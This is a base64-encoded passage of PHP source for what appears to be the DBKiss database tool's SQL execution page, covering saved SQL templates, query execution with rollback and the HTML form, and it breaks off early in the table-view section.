CgkJJ29ubHlfbWFya2VkJyA9PiAnYm9vbCcsDQoJCSdvbmx5X3NlbGVjdCcgPT4gJ2Jvb2wnLA0KCQknc2F2ZV9hcycgPT4gJ3N0cmluZycsDQoJKSk7DQoNCglpZiAoJGdldFsnbWQ1J10pIHsNCgkJJGdldFsnb25seV9zZWxlY3QnXSA9IHRydWU7DQoJCSRwb3N0Wydvbmx5X3NlbGVjdCddID0gdHJ1ZTsNCgl9DQoNCglpZiAoJGdldFsnb25seV9tYXJrZWQnXSkgeyAkcG9zdFsnb25seV9tYXJrZWQnXSA9IDE7IH0NCglpZiAoJGdldFsnb25seV9zZWxlY3QnXSkgeyAkcG9zdFsnb25seV9zZWxlY3QnXSA9IDE7IH0NCg0KCSRzcWxfZGlyID0gZmFsc2U7DQoJaWYgKGRlZmluZWQoJ0RCS0lTU19TUUxfRElSJykpIHsNCgkJJHNxbF9kaXIgPSBEQktJU1NfU1FMX0RJUjsNCgl9DQoNCglpZiAoJHNxbF9kaXIpIHsNCgkJaWYgKCEoZGlyX2V4aXN0cygkc3FsX2RpcikgJiYgaXNfd3JpdGFibGUoJHNxbF9kaXIpKSkgew0KCQkJaWYgKCFkaXJfZXhpc3RzKCRzcWxfZGlyKSAmJiBpc193cml0YWJsZSgnLicpKSB7DQoJCQkJbWtkaXIoJHNxbF9kaXIpOw0KCQkJfSBlbHNlIHsNCgkJCQlleGl0KCdZb3UgbXVzdCBjcmVhdGUgIicuJHNxbF9kaXIuJyIgZGlyZWN0b3J5IHdpdGggd3JpdGUgcGVybWlzc2lvbi4nKTsNCgkJCX0NCgkJfQ0KCQlpZiAoIWZpbGVfZXhpc3RzKCRzcWxfZGlyLicvLmh0YWNjZXNzJykpIHsNCgkJCWZpbGVfcHV0KCRzcWxfZGlyLicvLmh0YWNjZXNzJywgJ2RlbnkgZnJvbSBhbGwnKTsNCgkJfQ0KCQlpZiAoIWZpbGVfZXhpc3RzKCRzcWxfZGlyLicvaW5kZXguaHRtbCcpKSB7DQoJCQlmaWxlX3B1dCgkc3FsX2Rpci4nL2luZGV4Lmh0bWwnLCAnJyk7DQoJCX0NCgl9DQoNCglpZiAoJ0dFVCcgPT0gJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10pIHsNCgkJaWYgKCRzcWxfZGlyKQ0KCQl7DQoJCQlpZiAoJGdldFsnbWQ1J10gJiYgcHJlZ19tYXRjaCgnI14oXHd7MzIsMzJ9KV8oXGQrKSQjJywgJGdldFsnbWQ1J10sICRtYXRjaCkpIHsNCgkJCQkkbWQ1X2kgPSAkbWF0Y2hbMl07DQoJCQkJJG1kNV90bXAgPSBzcHJpbnRmKCRzcWxfZGlyLicvenp6XyVzLmRhdCcsICRtYXRjaFsxXSk7DQoJCQkJJHBvc3RbJ3NxbCddID0gZmlsZV9nZXQoJG1kNV90bXApOw0KCQkJCSRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID0gJ1BPU1QnOw0KCQkJCSRwb3N0WydwZXJmb3JtJ10gPSAnZXhlY3V0ZSc7DQoJCQl9IGVsc2UgaWYgKCRnZXRbJ21kNSddICYmIHByZWdfbWF0Y2goJyNeKFx3ezMyLDMyfSkkIycsICRnZXRbJ21kNSddLCAkbWF0Y2gpKSB7DQoJCQkJJG1kNV90bXAgPSBzcHJpbnRmKCRzcWxfZGlyLicvenp6XyVzLmRhdCcsICRtYXRjaFsxXSk7DQoJCQkJJHBvc3RbJ3NxbCddID0gZmlsZV9nZXQoJG1kNV90bXApOw0KCQkJCSRnZXRbJ21kNSddID0gJyc7DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgkZ2V0WydtZDUnXSkgew0KCQkJCQl0cmlnZ2VyX2Vycm9yKCdpbnZhbGlkIG1kNScsIEVfVVNFUl9FUlJPUik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfSBlbHNlIHsNCgkJJGdldFsnbWQ1J10gPSAnJzsNCgl9DQoNCglpZiAoc3RyX2hhcygkcG9zdFsnc3FsJ10sICdAbmwyYnInKSkgew0KCQkkX0dFVFsnbmwyYnInXSA9IDE7DQoJfQ0KCWlmIChzdHJfaGFzKCRwb3N0WydzcWwnXSwgJ0BmdWxsX2NvbnRlbnQnKSkgew0KCQkkX0dFVFsnZnVsbF9jb250ZW50J10gPSAxOw0KCX0NCg0KCSRwb3N0WydzcWwnXSA9IHRyaW0oJHBvc3RbJ3NxbCddKTsNCgkkbWQ1ID0gbWQ1KCRwb3N0WydzcWwnXSk7DQoJJG1kNV9maWxlID0gc3ByaW50Zigkc3FsX2Rpci4nL3p6el8lcy5kYXQnLCAkbWQ1KTsNCglpZiAoJHNxbF9kaXIgJiYgJHBvc3RbJ3NxbCddKSB7DQoJCWZpbGVfcHV0KCRtZDVfZmlsZSwgJHBvc3RbJ3NxbCddKTsNCgl9DQoNCglpZiAoJHNxbF9kaXIgJiYgJ3NhdmUnID09ICRwb3N0WydwZXJmb3JtJ10gJiYgJHBvc3RbJ3NhdmVfYXMnXSAmJiAkcG9zdFsnc3FsJ10pDQoJew0KCQkkcG9zdFsnc2F2ZV9hcyddID0gc3RyX3JlcGxhY2UoJy5zcWwnLCAnJywgJHBvc3RbJ3NhdmVfYXMnXSk7DQoJCWlmIChwcmVnX21hdGNoKCcjXltcdyBdKyQjJywgJHBvc3RbJ3NhdmVfYXMnXSkpIHsNCgkJCSRmaWxlID0gJHNxbF9kaXIuJy8nLiRwb3N0WydzYXZlX2FzJ10uJy5zcWwnOw0KCQkJJG92ZXJ3cml0ZSA9ICcnOw0KCQkJaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgew0KCQkJCSRvdmVyd3JpdGUgPSAnIC0gPGI+b3ZlcndyaXR0ZW48L2I+JzsNCgkJCQkkYmFrID0gJHNxbF9kaXIuJy96enpfJy4kcG9zdFsnc2F2ZV9hcyddLidfJy5tZDUoZmlsZV9nZXQoJGZpbGUpKS4nLmRhdCc7DQoJCQkJY29weSgkZmlsZSwgJGJhayk7DQoJCQl9DQoJCQkkbXNnIC49IHNwcmludGYoJzxkaXY+U3FsIHNhdmVkOiAlcyAlczwvZGl2PicsIGJhc2VuYW1lKCRmaWxlKSwgJG92ZXJ3cml0ZSk7DQoJCQlmaWxlX3B1dCgkZmlsZSwgJHBvc3RbJ3NxbCddKTsNCgkJfSBlbHNlIHsNCgkJCWVycm9yKCdTYXZpbmcgc3FsIGZhaWxlZDogb25seSBhbHBoYW51bWVyaWMgY2hhcnMgYXJlIGFsbG93ZWQnKTsNCgkJfQ0KCX0NCg0KCWlmICgkc3FsX2Rpcikgew0KCQkkc3FsX3RlbXBsYXRlcyA9IGRpcl9yZWFkKCRzcWxfZGlyLCBudWxsLCBhcnJheSgnLnNxbCcpLCAnZGF0ZV9kZXNjJyk7DQoJfQ0KCSRzcWxfdGVtcGxhdGVzX2Fzc29jID0gYXJyYXkoKTsNCglpZiAoJHNxbF9kaXIpIHsNCgkJZm9yZWFjaCAoJHNxbF90ZW1wbGF0ZXMgYXMgJGZpbGUpIHsNCgkJCSRmaWxlX3BhdGggPSAkZmlsZTsNCgkJCSRmaWxlID0gYmFzZW5hbWUoJGZpbGUpOw0KCQkJJHNxbF90ZW1wbGF0ZXNfYXNzb2NbJGZpbGVdID0gJygnLnN1YnN0cihmaWxlX2RhdGUoJGZpbGVfcGF0aCksIDAsIDEwKS4nKScuJyAnIC4kZmlsZTsNCgkJfQ0KCX0NCg0KCWlmICgkc3FsX2RpciAmJiAkZ2V0WydzcWxfdGVtcGxhdGUnXSkNCgl7DQoJCSRmaWxlID0gJHNxbF9kaXIuJy8nLiRnZXRbJ3NxbF90ZW1wbGF0ZSddOw0KCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygkZ2V0WydzcWxfdGVtcGxhdGUnXSwgJHNxbF90ZW1wbGF0ZXNfYXNzb2MpICYmIGZpbGVfZXhpc3RzKCRmaWxlKSkgew0KCQkJJG1zZyAuPSBzcHJpbnRmKCc8ZGl2PlNxbCBsb2FkZWQ6ICVzICglcyk8L2Rpdj4nLCBiYXNlbmFtZSgkZmlsZSksIHRpbWVzdGFtcChmaWxlX2RhdGUoJGZpbGUpKSk7DQoJCQkkcG9zdFsnc3FsJ10gPSBmaWxlX2dldCgkZmlsZSk7DQoJCQkkcG9zdFsnc2F2ZV9hcyddID0gYmFzZW5hbWUoJGZpbGUpOw0KCQkJJHBvc3RbJ3NhdmVfYXMnXSA9IHN0cl9yZXBsYWNlKCcuc3FsJywgJycsICRwb3N0WydzYXZlX2FzJ10pOw0KCQl9IGVsc2Ugew0KCQkJZXJyb3IoJzxkaXY+RmlsZSBub3QgZm91bmQ6ICVzPC9kaXY+JywgJGZpbGUpOw0KCQl9DQoJfQ0KDQoJLy8gYWZ0ZXIgbG9hZCAtIG1kNSBtYXkgY2hhbmdlDQoJJG1kNSA9IG1kNSgkcG9zdFsnc3FsJ10pOw0KDQoJaWYgKCRzcWxfZGlyICYmICdsb2FkJyA9PSAkcG9zdFsncGVyZm9ybSddICYmICFlcnJvcigpKSB7DQoJCSRtZDVfdG1wID0gc3ByaW50Zigkc3FsX2Rpci4nL3p6el8lcy5kYXQnLCAkbWQ1KTsNCgkJZmlsZV9wdXQoJG1kNV90bXAsICRwb3N0WydzcWwnXSk7DQoJfQ0KDQoJJGlzX3NlbCA9IGZhbHNlOw0KDQoJJHF1ZXJpZXMgPSBwcmVnX3NwbGl0KCIjOyhccyotLVsgXHRcU10qKT8oXHJcbnxcbnxccikjVSIsICRwb3N0WydzcWwnXSk7DQoJZm9yZWFjaCAoJHF1ZXJpZXMgYXMgJGsgPT4gJHF1ZXJ5KSB7DQoJCSRxdWVyeSA9IHF1ZXJ5X3N0cmlwKCRxdWVyeSk7DQoJCWlmIChzdHJfc3RhcnRzX3dpdGgoJHF1ZXJ5LCAnQCcpKSB7DQoJCQkkaXNfc2VsID0gdHJ1ZTsNCgkJfQ0KCQkkcXVlcmllc1ska10gPSAkcXVlcnk7DQoJCWlmICghdHJpbSgkcXVlcnkpKSB7IHVuc2V0KCRxdWVyaWVzWyRrXSk7IH0NCgl9DQoNCgkkc3FsX2Fzc29jID0gYXJyYXkoKTsNCgkkc3FsX3NlbGVjdGVkID0gZmFsc2U7DQoJJGkgPSAwOw0KDQoJJHBhcmFtcyA9IGFycmF5KA0KCQknbWQ1JyA9PiAkbWQ1LA0KCQknb25seV9tYXJrZWQnID0+ICRwb3N0Wydvbmx5X21hcmtlZCddLA0KCQknb25seV9zZWxlY3QnID0+ICRwb3N0Wydvbmx5X3NlbGVjdCddLA0KCQknb2Zmc2V0JyA9PiAnJw0KCSk7DQoJJHNxbF9tYWluX3VybCA9IHVybChzZWxmKCksICRwYXJhbXMpOw0KDQoJZm9yZWFjaCAoJHF1ZXJpZXMgYXMgJHF1ZXJ5KSB7DQoJCSRpKys7DQoJCSRxdWVyeSA9IHN0cl9jdXRfc3RhcnQoJHF1ZXJ5LCAnQCcpOw0KCQlpZiAoIWlzX3NlbGVjdCgkcXVlcnkpKSB7DQoJCQljb250aW51ZTsNCgkJfQ0KCQkkcXVlcnkgPSBwcmVnX3JlcGxhY2UoJyNccysjJywgJyAnLCAkcXVlcnkpOw0KCQkkcGFyYW1zID0gYXJyYXkoDQoJCQknbWQ1JyA9PiAkbWQ1LidfJy4kaSwNCgkJCSdvbmx5X21hcmtlZCcgPT4gJHBvc3RbJ29ubHlfbWFya2VkJ10sDQoJCQknb25seV9zZWxlY3QnID0+ICRwb3N0Wydvbmx5X3NlbGVjdCddLA0KCQkJJ29mZnNldCcgPT4gJycNCgkJKTsNCgkJJHVybCA9IHVybChzZWxmKCksICRwYXJhbXMpOw0KCQlpZiAoJGdldFsnbWQ1J10gJiYgJGdldFsnbWQ1J10gPT0gJHBhcmFtc1snbWQ1J10pIHsNCgkJCSRzcWxfc2VsZWN0ZWQgPSAkdXJsOw0KCQl9DQoJCSRzcWxfYXNzb2NbJHVybF0gPSBzdHJfdHJ1bmNhdGUoc3RyaXBfdGFncygkcXVlcnkpLCA4MCk7DQoJfQ0KDQoJaWYgKCdQT1NUJyA9PSAkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSkNCgl7DQoJCWlmICghJHBvc3RbJ3BlcmZvcm0nXSkgew0KCQkJJGVycm9yID0gJ05vIGFjdGlvbiBzZWxlY3RlZC4nOw0KCQl9DQoJCWlmICghJGVycm9yKQ0KCQl7DQoJCQkkdGltZSA9IHRpbWVfc3RhcnQoKTsNCgkJCXN3aXRjaCAoJHBvc3RbJ3BlcmZvcm0nXSkgew0KCQkJCWNhc2UgJ2V4ZWN1dGUnOg0KCQkJCQkkaSA9IDA7DQoJCQkJCWRiX2JlZ2luKCk7DQoJCQkJCSRjb21taXQgPSB0cnVlOw0KCQkJCQlmb3JlYWNoICgkcXVlcmllcyBhcyAkcXVlcnkpDQoJCQkJCXsNCgkJCQkJCSRpKys7DQoJCQkJCQlpZiAoJHBvc3RbJ29ubHlfbWFya2VkJ10gJiYgISRpc19zZWwpIHsNCgkJCQkJCQlpZiAoISRnZXRbJ21kNSddKSB7IGNvbnRpbnVlOyB9DQoJCQkJCQl9DQoJCQkJCQlpZiAoJGlzX3NlbCkgew0KCQkJCQkJCWlmIChzdHJfc3RhcnRzX3dpdGgoJHF1ZXJ5LCAnQCcpKSB7DQoJCQkJCQkJCSRxdWVyeSA9IHN0cl9jdXRfc3RhcnQoJHF1ZXJ5LCAnQCcpOw0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCWlmICghJGdldFsnbWQ1J10pIHsgY29udGludWU7IH0NCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCQlpZiAoJHBvc3RbJ29ubHlfc2VsZWN0J10gJiYgIWlzX3NlbGVjdCgkcXVlcnkpKSB7DQoJCQkJCQkJY29udGludWU7DQoJCQkJCQl9DQoJCQkJCQlpZiAoJGdldFsnbWQ1J10gJiYgJGkgIT0gJG1kNV9pKSB7DQoJCQkJCQkJY29udGludWU7DQoJCQkJCQl9DQoJCQkJCQlpZiAoJGdldFsnbWQ1J10gJiYgJGkgPT0gJG1kNV9pKSB7DQoJCQkJCQkJaWYgKCFpc19zZWxlY3QoJHF1ZXJ5KSkgew0KCQkJCQkJCQl0cmlnZ2VyX2Vycm9yKCdub3Qgc2VsZWN0IHF1ZXJ5JywgRV9VU0VSX0VSUk9SKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoNCgkJCQkJCSRleGVjID0gbGlzdGluZygkcXVlcnksICRtZDUuJ18nLiRpKTsNCgkJCQkJCSRxdWVyeV90cnVuYyA9IHN0cl90cnVuY2F0ZShodG1sX29uY2UoJHF1ZXJ5KSwgMTAwMCk7DQoJCQkJCQkkcXVlcnlfdHJ1bmMgPSBxdWVyeV9jb2xvcigkcXVlcnlfdHJ1bmMpOw0KCQkJCQkJJHF1ZXJ5X3RydW5jID0gbmwyYnIoJHF1ZXJ5X3RydW5jKTsNCgkJCQkJCSRxdWVyeV90cnVuYyA9IGh0bWxfc3BhY2VzKCRxdWVyeV90cnVuYyk7DQoJCQkJCQlpZiAoJGV4ZWNbJ2Vycm9yJ10pIHsNCgkJCQkJCQkkZXhlY1snZXJyb3InXSA9IHByZWdfcmVwbGFjZSgnI2Vycm9yOiNpJywgJycsICRleGVjWydlcnJvciddKTsNCgkJCQkJCQkkdG9wX2h0bWwgLj0gc3ByaW50ZignPGRpdiBzdHlsZT0iYmFja2dyb3VuZDogI2ZmZmZkNzsgcGFkZGluZzogMC41ZW07IGJvcmRlcjogI2NjYyAxcHggc29saWQ7IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXRvcDogMWVtOyI+PGIgc3R5bGU9ImNvbG9yOnJlZCI+RXJyb3I8L2I+OiAlczxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDAuMjVlbTsiPjxiPlF1ZXJ5ICVzPC9iPjogJXM8L2Rpdj48L2Rpdj4nLCAkZXhlY1snZXJyb3InXSwgJGksICRxdWVyeV90cnVuYyk7DQoJCQkJCQkJJGNvbW1pdCA9IGZhbHNlOw0KCQkJCQkJCWJyZWFrOw0KCQkJCQkJfSBlbHNlIHsNCgkJCQkJCQkkcXVlcnlfaHRtbCA9IHNwcmludGYoJzxkaXYgY2xhc3M9InF1ZXJ5Ij48YiBzdHlsZT0iZm9udC1zaXplOiAxMHB4OyI+UXVlcnkgJXM8L2I+OjxkaXYgc3R5bGU9IicuJHNxbF9mb250LicgbWFyZ2luLXRvcDogMC4zNWVtOyI+JXM8L2Rpdj48L2Rpdj4nLCAkaSwgJHF1ZXJ5X3RydW5jKTsNCgkJCQkJCQkkZGF0YV9odG1sIC49ICRxdWVyeV9odG1sOw0KCQkJCQkJCSRkYXRhX2h0bWwgLj0gJGV4ZWNbJ2RhdGFfaHRtbCddOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWlmICgkY29tbWl0KSB7DQoJCQkJCQlkYl9lbmQoKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWRiX3JvbGxiYWNrKCk7DQoJCQkJCX0NCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQkkdGltZSA9IHRpbWVfZW5kKCR0aW1lKTsNCgkJfQ0KCX0NCg0KCWlmICgkcG9zdFsnb25seV9tYXJrZWQnXSAmJiAhJGlzX3NlbCkgew0KCQllcnJvcignTm8gcXVlcmllcyBtYXJrZWQnKTsNCgl9DQoNCj8+DQo8P3BocCBsYXlvdXRfc3RhcnQoKCRkYl9uYW1lX2gxPyRkYl9uYW1lX2gxOiRkYl9uYW1lKS4nICZndDsgRXhlY3V0ZSBTUUwnKTsgPz4NCgk8P3BocCBpZiAoJGdldFsncG9wdXAnXSk6ID8+DQoJCTxoMT48c3BhbiBzdHlsZT0iPD9waHAgZWNobyAkZGJfbmFtZV9zdHlsZTs/PiI+PD9waHAgZWNobyAkZGJfbmFtZV9oMT8kZGJfbmFtZV9oMTokZGJfbmFtZTs/Pjwvc3Bhbj4gJmd0OyBFeGVjdXRlIFNRTDwvaDE+DQoJPD9waHAgZWxzZTogPz4NCgkJPGgxPjxhIGNsYXNzPWJsdWUgc3R5bGU9Ijw/cGhwIGVjaG8gJGRiX25hbWVfc3R5bGU7Pz4iIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iPjw/cGhwIGVjaG8gJGRiX25hbWVfaDE/JGRiX25hbWVfaDE6JGRiX25hbWU7Pz48L2E+ICZndDsgRXhlY3V0ZSBTUUw8L2gxPg0KCTw/cGhwIGVuZGlmOyA/Pg0KDQoJPD9waHAgZWNobyBlcnJvcigpOz8+DQoNCgk8c2NyaXB0Pg0KCWZ1bmN0aW9uIHNxbF9zdWJtaXQoZm9ybSkNCgl7DQoJCWlmIChmb3JtLnBlcmZvcm0udmFsdWUubGVuZ3RoKSB7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQ0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCWZ1bmN0aW9uIHNxbF9leGVjdXRlKGZvcm0pDQoJew0KCQlmb3JtLnBlcmZvcm0udmFsdWU9J2V4ZWN1dGUnOw0KCQlmb3JtLnN1Ym1pdCgpOw0KCX0NCglmdW5jdGlvbiBzcWxfcHJldmlldyhmb3JtKQ0KCXsNCgkJZm9ybS5wZXJmb3JtLnZhbHVlPSdwcmV2aWV3JzsNCgkJZm9ybS5zdWJtaXQoKTsNCgl9DQoJZnVuY3Rpb24gc3FsX3NhdmUoZm9ybSkNCgl7DQoJCWZvcm0ucGVyZm9ybS52YWx1ZT0nc2F2ZSc7DQoJCWZvcm0uc3VibWl0KCk7DQoJfQ0KCWZ1bmN0aW9uIHNxbF9sb2FkKGZvcm0pDQoJew0KCQlpZiAoZm9ybS5zcWxfdGVtcGxhdGUuc2VsZWN0ZWRJbmRleCkNCgkJew0KCQkJY3VycmVudFVybCA9IHdpbmRvdy5sb2NhdGlvbi5ocmVmOw0KCQkJY3VycmVudFVybCA9IGN1cnJlbnRVcmwucmVwbGFjZSgvJnNxbF90ZW1wbGF0ZT1bXiZdKi9nLCAnJyk7DQoJCQl3aW5kb3cubG9jYXRpb24gPSBjdXJyZW50VXJsICsgIiZzcWxfdGVtcGxhdGU9IiArDQoJCQkJCWVzY2FwZShmb3JtLnNxbF90ZW1wbGF0ZS52YWx1ZSkNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJCWJ1dHRvbl9jbGVhcihmb3JtKTsNCgkJcmV0dXJuIGZhbHNlOw0KCX0NCgk8L3NjcmlwdD4NCg0KCTw/cGhwIGlmICgkbXNnKTogPz4NCgkJPGRpdiBjbGFzcz0ibXNnIj48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCgk8P3BocCBlbmRpZjsgPz4NCg0KCTw/cGhwIGVjaG8gJHRvcF9odG1sOz8+DQoNCgk8P3BocCBpZiAoY291bnQoJHNxbF9hc3NvYykpOiA/Pg0KCQk8cD4NCgkJCVNFTEVDVCBxdWVyaWVzOg0KCQkJPHNlbGVjdCBuYW1lPSJzcWxfYXNzb2MiIG9uY2hhbmdlPSJpZiAodGhpcy52YWx1ZS5sZW5ndGgpIGxvY2F0aW9uPXRoaXMudmFsdWUiPg0KCQkJCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbF9vbmNlKCRzcWxfbWFpbl91cmwpOz8+Ij48L29wdGlvbj4NCgkJCQk8P3BocCBlY2hvIG9wdGlvbnMoJHNxbF9hc3NvYywgJHNxbF9zZWxlY3RlZCk7Pz4NCgkJCTwvc2VsZWN0Pg0KCQk8L3A+DQoJPD9waHAgZW5kaWY7ID8+DQoNCgk8P3BocCBpZiAoJGdldFsnbWQ1J10pOiA/Pg0KCQk8P3BocCBlY2hvICRkYXRhX2h0bWw7Pz4NCgk8P3BocCBlbmRpZjsgPz4NCg0KCTxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTs/Pj9leGVjdXRlX3NxbD0xJnBvcHVwPTw/cGhwIGVjaG8gJGdldFsncG9wdXAnXTs/PiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIHNxbF9zdWJtaXQodGhpcyk7IiBzdHlsZT0ibWFyZ2luLXRvcDogMWVtOyI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGVyZm9ybSIgdmFsdWU9IiI+DQoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMC4yNWVtOyI+DQoJCTx0ZXh0YXJlYSBpZD0ic3FsX2FyZWEiIG5hbWU9InNxbCIgY2xhc3M9InNxbF9hcmVhIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMocXVlcnlfdXBwZXIoJHBvc3RbJ3NxbCddKSk7Pz48L3RleHRhcmVhPg0KCTwvZGl2Pg0KCTx0YWJsZSBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPjx0cj4NCgk8dGQgbm93cmFwPg0KCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB3YWl0PSIxIiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0iRXhlY3V0ZSIgb25jbGljaz0ic3FsX2V4ZWN1dGUodGhpcy5mb3JtKTsgIj4NCgk8L3RkPg0KCTx0ZCBub3dyYXA+DQoJCSZuYnNwOw0KCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB3YWl0PSIxIiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0iUHJldmlldyIgb25jbGljaz0ic3FsX3ByZXZpZXcodGhpcy5mb3JtKTsgIj4NCgk8L3RkPg0KCTx0ZCBub3dyYXA+DQoJCSZuYnNwOw0KCQk8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im9ubHlfbWFya2VkIiBpZD0ib25seV9tYXJrZWQiIHZhbHVlPSIxIiA8P3BocCBlY2hvIGNoZWNrZWQoJHBvc3RbJ29ubHlfbWFya2VkJ10gfHwgJGdldFsnb25seV9tYXJrZWQnXSk7Pz4+DQoJPC90ZD4NCgk8dGQgbm93cmFwPg0KCQk8bGFiZWwgZm9yPSJvbmx5X21hcmtlZCI+b25seSBtYXJrZWQ8L2xhYmVsPg0KCTwvdGQ+DQoJPHRkIG5vd3JhcD4NCgkJJm5ic3A7DQoJCTxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib25seV9zZWxlY3QiIGlkPSJvbmx5X3NlbGVjdCIgdmFsdWU9IjEiIDw/cGhwIGVjaG8gY2hlY2tlZCgkcG9zdFsnb25seV9zZWxlY3QnXSB8fCAkZ2V0Wydvbmx5X3NlbGVjdCddKTs/Pj4NCgk8L3RkPg0KCTx0ZCBub3dyYXA+DQoJCTxsYWJlbCBmb3I9Im9ubHlfc2VsZWN0Ij5vbmx5IFNFTEVDVDwvbGFiZWw+DQoJCSZuYnNwOyZuYnNwOyZuYnNwOw0KCTwvdGQ+DQoJPHRkIG5vd3JhcD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNhdmVfYXMiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxfb25jZSgkcG9zdFsnc2F2ZV9hcyddKTs/PiI+DQoJCSZuYnNwOw0KCTwvdGQ+DQoJPHRkIG5vd3JhcD4NCgkJPGlucHV0IHR5cGU9ImJ1dHRvbiIgd2FpdD0iMSIgY2xhc3M9ImJ1dHRvbiIgdmFsdWU9IlNhdmUiIG9uY2xpY2s9InNxbF9zYXZlKHRoaXMuZm9ybSk7ICI+DQoJCSZuYnNwOyZuYnNwOyZuYnNwOw0KCTwvdGQ+DQoJPHRkIG5vd3JhcD4NCgkJPHNlbGVjdCBuYW1lPSJzcWxfdGVtcGxhdGUiIHN0eWxlPSJ3aWR0aDogMTQwcHg7Ij48b3B0aW9uIHZhbHVlPSIiPjwvb3B0aW9uPjw/cGhwIGVjaG8gb3B0aW9ucygkc3FsX3RlbXBsYXRlc19hc3NvYyk7Pz48L3NlbGVjdD4NCgkJJm5ic3A7DQoJPC90ZD4NCgk8dGQgbm93cmFwPg0KCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB3YWl0PSIxIiBjbGFzcz0iYnV0dG9uIiB2YWx1ZT0iTG9hZCIgb25jbGljaz0icmV0dXJuIHNxbF9sb2FkKHRoaXMuZm9ybSk7Ij4NCgk8L3RkPg0KCTwvdHI+PC90YWJsZT4NCgk8L2Zvcm0+DQoNCgk8P3BocA0KDQoJCWlmICgncHJldmlldycgPT0gJHBvc3RbJ3BlcmZvcm0nXSkNCgkJew0KCQkJZWNobyAnPGgyPlByZXZpZXc8L2gyPic7DQoJCQkkaSA9IDA7DQoJCQlmb3JlYWNoICgkcXVlcmllcyBhcyAkcXVlcnkpDQoJCQl7DQoJCQkJJGkrKzsNCgkJCQkkcXVlcnkgPSBzdHJfY3V0X3N0YXJ0KCRxdWVyeSwgJ0AnKTsNCgkJCQkkcXVlcnkgPSBodG1sX29uY2UoJHF1ZXJ5KTsNCgkJCQkkcXVlcnkgPSBxdWVyeV9jb2xvcigkcXVlcnkpOw0KCQkJCSRxdWVyeSA9IG5sMmJyKCRxdWVyeSk7DQoJCQkJJHF1ZXJ5ID0gaHRtbF9zcGFjZXMoJHF1ZXJ5KTsNCgkJCQlwcmludGYoJzxkaXYgY2xhc3M9InF1ZXJ5Ij48YiBzdHlsZT0iZm9udC1zaXplOiAxMHB4OyI+UXVlcnkgJXM8L2I+OjxkaXYgc3R5bGU9IicuJHNxbF9mb250LicgbWFyZ2luLXRvcDogMC4zNWVtOyI+JXM8L2Rpdj48L2Rpdj4nLCAkaSwgJHF1ZXJ5KTsNCgkJCX0NCgkJfQ0KDQoJPz4NCg0KCTw/cGhwIGlmICghJGdldFsnbWQ1J10pOiA/Pg0KCQk8c2NyaXB0PiQoJ3NxbF9hcmVhJykuZm9jdXMoKTs8L3NjcmlwdD4NCgkJPD9waHAgZWNobyAkZGF0YV9odG1sOz8+DQoJPD9waHAgZW5kaWY7ID8+DQoNCgk8P3BocCBsYXlvdXRfZW5kKCk7ID8+DQoNCjw/cGhwIGV4aXQ7IGVuZGlmOyA/Pg0KPD9waHAgaWYgKGlzc2V0KCRfR0VUWyd2aWV3dGFibGUnXSkgJiYgJF9HRVRbJ3ZpZXd0YWJsZSddKTogPz4NCg0KCTw/cGhwDQoNCgkJc2V0X3RpbWVfbGltaXQoMCk7DQoNCgkJLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkvLyBWSUVXIFRBQkxFDQoJCS8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KCQkkdGFibGUgPSAkX0dFVFsndmlld3RhYmxlJ107DQoJCSR0YWJsZV9lbnEgPSBxdW90ZV90YWJsZSgkdGFibGUpOw0KCQkkY291bnQgPSBkYl9vbmUoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICR0YWJsZV9lbnEiKTsNCg0KCQkkdHlwZXMgPSB0YWJsZV90eXBlczIoJHRhYmxlKTsNCgkJJGNvbHVtbnMgPSB0YWJsZV9jb2x1bW5zKCR0YWJsZSk7DQoJCWlmICghY291bnQoJGNvbHVtbnMpKSB7DQoJCQkkY29sdW1ucyA9IGFycmF5X2Fzc29jKGFycmF5X2tleXMoJHR5cGVzKSk7DQoJCX0NCgkJJGNvbHVtbnMyID0gJGNvbHVtbnM7DQoNCgkJZm9yZWFjaCAoJGNvbHVtbnMyIGFzICRrID0+IC